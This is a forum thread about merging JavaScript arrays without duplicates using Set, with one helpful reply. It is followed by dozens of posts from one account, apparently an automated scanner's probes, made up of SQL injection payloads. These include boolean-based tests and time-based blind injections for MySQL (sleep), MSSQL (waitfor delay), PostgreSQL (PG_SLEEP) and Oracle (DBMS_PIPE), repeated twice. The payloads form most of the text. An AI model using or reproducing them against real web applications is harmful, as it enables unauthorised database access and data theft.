Subham Mitra

Subham Mitra started this conversation 6 months ago.

How to Merge Two Arrays Without Duplicates in JavaScript?

I need to merge two arrays while removing duplicates. Here’s what I’ve come up with using Set:

const arr1 = [1, 2, 3];
const arr2 = [3, 4, 5];

const merged = [...new Set([...arr1, ...arr2])];
console.log(merged); // [1, 2, 3, 4, 5]

Ankur

Posted 6 months ago

Your approach using Set to merge the two arrays and remove duplicates is perfect! The Set object inherently ensures that only unique values are stored, and the spread operator (...) makes it simple to combine arrays.

Here's a quick breakdown of what you're doing:

[...arr1, ...arr2] merges the two arrays. new Set() removes any duplicates. Finally, the spread operator [...new Set(...)] converts the Set back into an array. Your solution is clean and efficient for this task. Well done!

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

-1 OR 2+226-226-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1 OR 3+226-226-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1 OR 2+52-52-1=0+0+0+1

fnfOzvSR

Posted 6 months ago

-1 OR 3+52-52-1=0+0+0+1

fnfOzvSR

Posted 6 months ago

-1' OR 2+267-267-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1' OR 3+267-267-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1' OR 2+851-851-1=0+0+0+1 or 'as88Fodf'='

fnfOzvSR

Posted 6 months ago

-1' OR 3+851-851-1=0+0+0+1 or 'as88Fodf'='

fnfOzvSR

Posted 6 months ago

-1" OR 2+359-359-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1" OR 3+359-359-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

555*if(now()=sysdate(),sleep(15),0)

fnfOzvSR

Posted 6 months ago

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

fnfOzvSR

Posted 6 months ago

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

fnfOzvSR

Posted 6 months ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

fnfOzvSR

Posted 6 months ago

555-1; waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1); waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1 waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

5554vzUeS1l'; waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1 OR 137=(SELECT 137 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555-1) OR 172=(SELECT 172 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555-1)) OR 85=(SELECT 85 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

5550hdofSEe' OR 490=(SELECT 490 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555UhCM01BI') OR 674=(SELECT 674 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555aTJJUJYv')) OR 759=(SELECT 759 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

fnfOzvSR

Posted 6 months ago

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555'"

fnfOzvSR

Posted 6 months ago

@@Zs7LQ

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

-1 OR 2+381-381-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1 OR 3+381-381-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1 OR 2+623-623-1=0+0+0+1

fnfOzvSR

Posted 6 months ago

-1 OR 3+623-623-1=0+0+0+1

fnfOzvSR

Posted 6 months ago

-1' OR 2+610-610-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1' OR 3+610-610-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1' OR 2+245-245-1=0+0+0+1 or 'ya1zIXEq'='

fnfOzvSR

Posted 6 months ago

-1' OR 3+245-245-1=0+0+0+1 or 'ya1zIXEq'='

fnfOzvSR

Posted 6 months ago

-1" OR 2+411-411-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

-1" OR 3+411-411-1=0+0+0+1 --

fnfOzvSR

Posted 6 months ago

555*if(now()=sysdate(),sleep(15),0)

fnfOzvSR

Posted 6 months ago

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

fnfOzvSR

Posted 6 months ago

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

fnfOzvSR

Posted 6 months ago

(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/

fnfOzvSR

Posted 6 months ago

555-1; waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1); waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1 waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

5555vhO1xNs'; waitfor delay '0:0:15' --

fnfOzvSR

Posted 6 months ago

555-1 OR 491=(SELECT 491 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555-1) OR 39=(SELECT 39 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555-1)) OR 273=(SELECT 273 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555aHFZ49Dl' OR 341=(SELECT 341 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555dZQc55ff') OR 189=(SELECT 189 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

5551dPPo5tb')) OR 148=(SELECT 148 FROM PG_SLEEP(15))--

fnfOzvSR

Posted 6 months ago

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

fnfOzvSR

Posted 6 months ago

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

fnfOzvSR

Posted 6 months ago

555

fnfOzvSR

Posted 6 months ago

555'"

fnfOzvSR

Posted 6 months ago

@@6f1MJ

fnfOzvSR

Posted 6 months ago

555